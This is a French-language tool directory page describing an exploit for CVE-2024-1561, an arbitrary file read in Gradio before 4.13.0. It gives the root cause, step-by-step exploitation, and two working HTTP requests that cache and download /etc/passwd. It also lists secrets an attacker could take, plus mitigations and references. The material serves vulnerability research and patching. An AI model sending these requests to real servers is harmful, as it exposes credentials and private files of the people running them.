Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-1561 — CVE-2024-1561 - Lecture arbitraire de fichiers dans Gradio | Kitploit
Outils/GitHubGitHub/k3ystr0k3r/cve-2024-1561
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubk3ystr0k3r/cve-2024-1561

CVE-2024-1561

CVE-2024-1561 - Lecture arbitraire de fichiers dans Gradio

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-1561 - Lecture arbitraire de fichiers dans Gradio

CVE-2024-1561 est une vulnérabilité de lecture arbitraire de fichiers affectant Gradio dans les versions antérieures à 4.13.0. Gradio est un framework Python populaire utilisé pour créer rapidement des interfaces web pour les modèles d'apprentissage automatique et les applications d'IA.

La vulnérabilité existe parce que le point de terminaison /component_server ne restreint pas correctement les méthodes de la classe interne Component qui peuvent être invoquées. Un attaquant peut abuser de ce comportement pour appeler des méthodes qui n'ont jamais été destinées à être exposées via HTTP.

L'une de ces méthodes, move_resource_to_block_cache, permet de copier un fichier du système de fichiers local dans le répertoire de cache temporaire de Gradio. Une fois le fichier copié, il devient accessible via le point de terminaison /file, permettant à un attaquant d'en récupérer le contenu.

Bien que la vulnérabilité ne permette pas directement l'exécution de code à distance, elle peut exposer des fichiers sensibles du serveur et peut être exploitée pour collecter des identifiants, des fichiers de configuration, des clés API, des jetons ou d'autres informations utiles pour des attaques ultérieures.


Versions concernées

  • Gradio < 4.13.0

Les versions 4.13.0 et ultérieures contiennent les contrôles de sécurité nécessaires pour empêcher l'invocation arbitraire de méthodes.


Cause racine

Le problème provient d'une validation insuffisante dans le point de terminaison /component_server.

Au lieu de limiter les requêtes à une liste sûre de fonctions appelables, Gradio permettait aux attaquants de spécifier des noms de méthodes arbitraires appartenant à une instance de composant.

Étant donné que la méthode interne :

root@kitploit:~
move_resource_to_block_cache()

accepte un chemin du système de fichiers en entrée, un attaquant peut demander à l'application de mettre en cache tout fichier lisible sur le serveur.

Une fois mis en cache, le fichier est exposé via la fonctionnalité normale de service de fichiers de Gradio.


Processus d'exploitation

Une attaque réussie suit généralement ces étapes :

  1. Interroger le point de terminaison /config.
  2. Obtenir un identifiant de composant valide.
  3. Envoyer une requête à /component_server.
  4. Invoquer la méthode move_resource_to_block_cache.
  5. Fournir le chemin d'un fichier cible (par exemple /etc/passwd).
  6. Recevoir le chemin du cache temporaire dans la réponse du serveur.
  7. Télécharger le fichier mis en cache via le point de terminaison /file.

Ce processus permet de récupérer à distance tout fichier lisible par le processus Gradio.


Exemple de requête

root@kitploit:~
POST /component_server HTTP/1.1
Host: target
Content-Type: application/json

{
    "component_id": "3",
    "data": "/etc/passwd",
    "fn_name": "move_resource_to_block_cache",
    "session_hash": "aaaaaaaaaaa"
}

En cas de succès, Gradio renvoie l'emplacement du fichier mis en cache.

L'attaquant peut ensuite demander :

root@kitploit:~
GET /file=/tmp/gradio/<cached-file>/passwd HTTP/1.1
Host: target

pour en récupérer le contenu.


Impact sur la sécurité

Une exploitation réussie peut permettre à un attaquant de lire des fichiers sensibles, notamment :

  • /etc/passwd
  • Clés SSH privées
  • Fichiers d'environnement (.env)
  • Jetons API
  • Identifiants cloud
  • Fichiers de configuration d'application
  • Identifiants de base de données
  • Code source
  • Secrets d'authentification

L'impact dépend des privilèges de l'application Gradio.


Atténuation

Pour remédier à cette vulnérabilité :

  • Mettre à niveau Gradio vers 4.13.0 ou une version ultérieure.
  • Éviter d'exposer les applications Gradio directement sur Internet.
  • Exiger une authentification autant que possible.
  • Restreindre l'accès à l'aide d'un proxy inverse ou d'un pare-feu.
  • Exécuter Gradio avec les privilèges minimum nécessaires.
  • Éviter de stocker des identifiants sensibles dans des emplacements accessibles au processus de l'application.

Références

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1561
  • Patch: https://github.com/gradio-app/gradio/pull/6884

Avertissement

Ce dépôt est fourni à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés uniquement. Obtenez toujours une autorisation explicite avant de tester des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation d'évaluer.

Télécharger l’outil